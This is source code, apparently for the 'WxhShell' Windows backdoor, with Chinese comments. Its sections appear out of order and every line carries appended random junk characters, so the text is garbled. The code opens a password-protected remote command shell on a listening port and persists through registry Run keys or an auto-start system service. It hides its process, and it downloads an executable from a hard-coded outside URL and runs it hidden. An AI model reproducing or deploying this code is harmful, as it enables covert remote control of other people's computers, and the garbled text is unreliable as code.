ULONG UniqueProcessId; KvC:(Vqj
ULONG InheritedFromUniqueProcessId; C\EZ8
} PROCESS_BASIC_INFORMATION; \:^$ZBQr<n
#O=^%C7p
PROCNTQSIP NtQueryInformationProcess; 0p&:9|'z
])0&el3-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @4hxGk=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *$uKg zv3
^8E/I]-
HANDLE hProcess; 'X{7b
<
PROCESS_BASIC_INFORMATION pbi; %p^C,B{7w
trM8p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u{exQ[,E
if(NULL == hInst ) return 0; nL@P{,J
hg=\L5R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _d)w, ;m#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O^|,Cbon6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C+O`3wPZp
nn5S 7!
if (!NtQueryInformationProcess) return 0; !0E$9Xon
4Uz6*IQNl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (\#j3Y)r
if(!hProcess) return 0; dzggl(
rJD>]3D 5p
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u~%
m(
T?E2;j0h'#
CloseHandle(hProcess); u=k\]W-
ENjrv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T%-F,i
if(hProcess==NULL) return 0; Hq6VwQu?
Wf>UI)^n
HMODULE hMod; x&8fmUS:@;
char procName[255]; V<nh+Q3<d
unsigned long cbNeeded; Zna
}h{
TkmN.@w_C
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Za4 YD
tWL9>7]G
CloseHandle(hProcess); U#@:"v|
Q y$8!(
if(strstr(procName,"services")) return 1; // 以服务启动 >aN@)=h}
eGtIVY/D
return 0; // 注册表启动 < _c84,[V
} 6'|J
;
[,xFk* #
// 主模块 B<LQ;n+
int StartWxhshell(LPSTR lpCmdLine) .|x0du|
{ kMN z5P
SOCKET wsl; %|r@q
BOOL val=TRUE; D)4p8-=t
int port=0; yu3EPT!~
struct sockaddr_in door; v;jrAND
u&r@@p.
if(wscfg.ws_autoins) Install(); )Q FT$rmX
;k(|ynXv
port=atoi(lpCmdLine); ~d){7OG
(f
$Y0;v>}
if(port<=0) port=wscfg.ws_port; L.ndLd
Br1JZHgA
WSADATA data; q>!T*BQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m <aMb
&A=d7ASN=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9`-ofwr'|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]^ZC^z;H
door.sin_family = AF_INET; Z37Z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =@w};e#D
door.sin_port = htons(port); A3!NEFBK
iTqv=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ba!`x<wa
closesocket(wsl); Qh?q0VKU^
return 1; s13Iu#
} $?ke "
6L'cD1pu
if(listen(wsl,2) == INVALID_SOCKET) { :8yrtbf$
closesocket(wsl); Kxh)'aal
return 1; ,&z_ 2m
} ,7>_Lp_v
Wxhshell(wsl); _mA[^G=gY
WSACleanup(); |'Ve75 W6u
FSc730rM
return 0; P^VV8Z>\&
HgduH::\#
} "c1vW<;
%D e<H*
// 以NT服务方式启动 \'BKI;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qd!$ nr
{ |;9OvR> A
DWORD status = 0;
2Xe2%{
DWORD specificError = 0xfffffff; d=N5cCqq
dpGaI
serviceStatus.dwServiceType = SERVICE_WIN32; in(n[K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P8z++h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c\]h YKA
serviceStatus.dwWin32ExitCode = 0; 89+m?H]K
serviceStatus.dwServiceSpecificExitCode = 0; 9FH=Jp
serviceStatus.dwCheckPoint = 0; 93[`1_q7\
serviceStatus.dwWaitHint = 0; ]+d.X]
/DZKz"N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kf&id/|
if (hServiceStatusHandle==0) return; ;)cSdA9
pZ OVD%
status = GetLastError(); {lx^57v
if (status!=NO_ERROR) 4'G<qJoc
{ Lr40rLx;u
serviceStatus.dwCurrentState = SERVICE_STOPPED; |Z#)1K
serviceStatus.dwCheckPoint = 0; 3U1xKF
serviceStatus.dwWaitHint = 0; oA_AnD?G+
serviceStatus.dwWin32ExitCode = status; |F9/7 z\5+
serviceStatus.dwServiceSpecificExitCode = specificError; B@.U\.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [rE,fR
return; l&;#`\s!V
} z}u
c>=[|F{{e
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4)Z78H%>
serviceStatus.dwCheckPoint = 0; 6i=m1Yk
serviceStatus.dwWaitHint = 0; ?%*Zgk!l7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +!.=M8[
} "4n_MV>p
kw}J~f2
// 处理NT服务事件,比如:启动、停止 dwB-WF%k
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?Za1
b
{ yBs
switch(fdwControl) Il*wVNrZI
{ VGq2ITg9eE
case SERVICE_CONTROL_STOP: |CStw"Fog
serviceStatus.dwWin32ExitCode = 0; d=H C;T)
serviceStatus.dwCurrentState = SERVICE_STOPPED; i#(T?=VPcy
serviceStatus.dwCheckPoint = 0; ]5uCs[
serviceStatus.dwWaitHint = 0; 6D w[n
{ ~;Xdz/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .NwHr6/s*
} 19;\:tN
return; b.j\=c
case SERVICE_CONTROL_PAUSE: *gVRMSrx4
serviceStatus.dwCurrentState = SERVICE_PAUSED; u_zp?Nc
break; Ql
[=
case SERVICE_CONTROL_CONTINUE: 1w1(FpQO.
serviceStatus.dwCurrentState = SERVICE_RUNNING; khW3z*e#
break; w9c
case SERVICE_CONTROL_INTERROGATE: a2o+tR;H
break; U2@?!B[\d`
}; z`f1|Ok
SetServiceStatus(hServiceStatusHandle, &serviceStatus); txTDuS
} *<s|WLMG
+}X@{DB
// 标准应用程序主函数 80axsU^H0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M0"xDvQ
{ pbloL3d.;+
0'VwObq
// 获取操作系统版本 {@B<$g
OsIsNt=GetOsVer(); 3mr9}P9;
GetModuleFileName(NULL,ExeFile,MAX_PATH); >(~;V;
`')3}
// 从命令行安装 5I t+ S+a
if(strpbrk(lpCmdLine,"iI")) Install(); O8 k$Uc
1_XdL?h#o
// 下载执行文件 $I>.w4G}
if(wscfg.ws_downexe) { Sf
lHSMFw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b _cD
>A
WinExec(wscfg.ws_filenam,SW_HIDE); <:>a51HBX
} :2K0/@<x
Z`q?p E>R
if(!OsIsNt) { +<8r?d2
// 如果时win9x,隐藏进程并且设置为注册表启动 e9N"{kDs6
HideProc(); &YqgMC
StartWxhshell(lpCmdLine); %3'80u6BCJ
} e"[o2=v;5
else AGS?<6W-
if(StartFromService()) n#bC,
// 以服务方式启动 TJ2$
Z
StartServiceCtrlDispatcher(DispatchTable); 3 LoB-4u?
else W}a&L
// 普通方式启动 ndW??wiM
StartWxhshell(lpCmdLine); z9'ME
|;Jcf3e(
return 0; Rf2;O<
} 'd0]`2tVg4
I:bi8D6
vezX/x D?
VmV/~- <Z
=========================================== !W .ooy5(
m~#98ZJ^
NR^z!+oSR
T+N%KRl
Z?CmD;W
w*\)]bTs
" ?IGT !'
/nGsl<
#include <stdio.h> hJ+>Xm@@!
#include <string.h> yH@W6' .
#include <windows.h> I>b!4?h
#include <winsock2.h> lUUeM\
#include <winsvc.h> |4ONGU*`E
#include <urlmon.h> X0Xs"--}
G\|VTqu
#pragma comment (lib, "Ws2_32.lib") {b=]JPE
#pragma comment (lib, "urlmon.lib") 2c_#q1/Z/
vX/~34o]\
#define MAX_USER 100 // 最大客户端连接数 ?psvhB{O
#define BUF_SOCK 200 // sock buffer OUS@)Tyh
#define KEY_BUFF 255 // 输入 buffer zD7\Gv
kImS'i{A
#define REBOOT 0 // 重启 ^szCf|SM
#define SHUTDOWN 1 // 关机 [|Jzs[
)TBBYCL3
#define DEF_PORT 5000 // 监听端口 O: :X$O7
e>z3\4
#define REG_LEN 16 // 注册表键长度 pDr M8)r
#define SVC_LEN 80 // NT服务名长度 \h,S1KmIBD
/\_0daUx
// 从dll定义API oCXBek?\
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rRly0H
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wh[XJ_xY
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 11Pm lzy
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mJ)o-BV
4{[Df$'e>
// wxhshell配置信息 jf~/x>Q
struct WSCFG {
-[" .km
int ws_port; // 监听端口 *'1qA0Xc
char ws_passstr[REG_LEN]; // 口令 ^CDQ75tR
int ws_autoins; // 安装标记, 1=yes 0=no A"2k,{d
char ws_regname[REG_LEN]; // 注册表键名 I+kDx=T!
char ws_svcname[REG_LEN]; // 服务名 CES^
c-. k
char ws_svcdisp[SVC_LEN]; // 服务显示名 y4w{8;Mh
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \%K< S
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B9&"/tT
int ws_downexe; // 下载执行标记, 1=yes 0=no Y2"X;`<
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AQDT6E:
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r**u=q%p
p.SEW5
}; hdXdz aNS
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}u
// default Wxhshell configuration *[) b}?
struct WSCFG wscfg={DEF_PORT, n?
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"xuhuanlingzhe", t$m268m~
1, y9cW&rDH
"Wxhshell", hl(M0cxEWP
"Wxhshell", 4@&8jZ)a
"WxhShell Service", GKTrf\"c
"Wrsky Windows CmdShell Service", Jlj=FA`
"Please Input Your Password: ", %oJ_,m_(
1, se:]F/
"http://www.wrsky.com/wxhshell.exe", /bjyV]N
"Wxhshell.exe" NldeD2~H
}; b%IRIi&,
m-xSF]q=<
// 消息定义模块 PO%Z.ol9
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,edX;`#
char *msg_ws_prompt="\n\r? for help\n\r#>"; )hGRq'WA=
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _VLc1svv
char *msg_ws_ext="\n\rExit."; )$p<BL U
char *msg_ws_end="\n\rQuit."; MDZ,a0?4t
char *msg_ws_boot="\n\rReboot..."; D1}Bn2BM$
char *msg_ws_poff="\n\rShutdown..."; Rq-BsMX!A
char *msg_ws_down="\n\rSave to "; y'?ksow
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char *msg_ws_err="\n\rErr!"; {dM18;
char *msg_ws_ok="\n\rOK!"; fI9 TzpV
"g;^R/sfq
char ExeFile[MAX_PATH]; b) "bX}
int nUser = 0; %SaC[9=?
HANDLE handles[MAX_USER]; 6 9_etv
int OsIsNt; ~Gx"gK0
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SERVICE_STATUS serviceStatus; zy"wQPEE
SERVICE_STATUS_HANDLE hServiceStatusHandle; ;m`k#J?
q+<X*yC
// 函数声明 ~xZFm
int Install(void); vPz$jeA
int Uninstall(void); xdGmiHN
int DownloadFile(char *sURL, SOCKET wsh); A\nL(Nd
int Boot(int flag); ;.>CDt-E]
void HideProc(void); q,w8ca4~y
int GetOsVer(void); r`Y[XzT9
int Wxhshell(SOCKET wsl); M S$^m2
void TalkWithClient(void *cs); FW~%xUSE5
int CmdShell(SOCKET sock); $9k7A 8K
int StartFromService(void); 1Tz5tU9kR
int StartWxhshell(LPSTR lpCmdLine); p_pI=_:
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wQ]!Y?I
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b9b384Q1O
6g06s @kz
// 数据结构和表定义 /UtCJMQ
SERVICE_TABLE_ENTRY DispatchTable[] = Sqw:U|h\FS
{ 2Hl0besm
{wscfg.ws_svcname, NTServiceMain}, }q7rR:g
{NULL, NULL} lJ1_Zs `
}; WsO'4~X9
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// 自我安装 /qM:;:N%j
int Install(void) N.R,[K
{ ?"-%>y@w
char svExeFile[MAX_PATH]; ElLDSo@WvR
HKEY key; -]HPDN,OB
strcpy(svExeFile,ExeFile); j:ze5F A+
s~(!m. R
// 如果是win9x系统,修改注册表设为自启动 Hs,pY(l^
if(!OsIsNt) { <\40?*2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /E8{:>2
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GF]V$5.ps
RegCloseKey(key); G>"=Af(t?Y
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?XOl>IO
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4B?8$&b
RegCloseKey(key); @)n xX))a
return 0; =*<Cw?Gc
} Xo^P=uf%
} 7:iTx;,v
} _gDEIoBp
else { `P/7Mf
|Rk9W
// 如果是NT以上系统,安装为系统服务 Z{&dzc
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vw(X9xa
if (schSCManager!=0) 3jH-!M5
{ 3,;;C(
SC_HANDLE schService = CreateService CRXIVver
( BOqu$f+
schSCManager, b7;`A~{9v
wscfg.ws_svcname, hdW}._
wscfg.ws_svcdisp, ,n)f=q*%
SERVICE_ALL_ACCESS, Am>^{qh9
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~\HGV+S!g}
SERVICE_AUTO_START, N_<wiwI<
SERVICE_ERROR_NORMAL, bp"@vlv
svExeFile, D3,9X#B=
NULL, fH{ _X
NULL,
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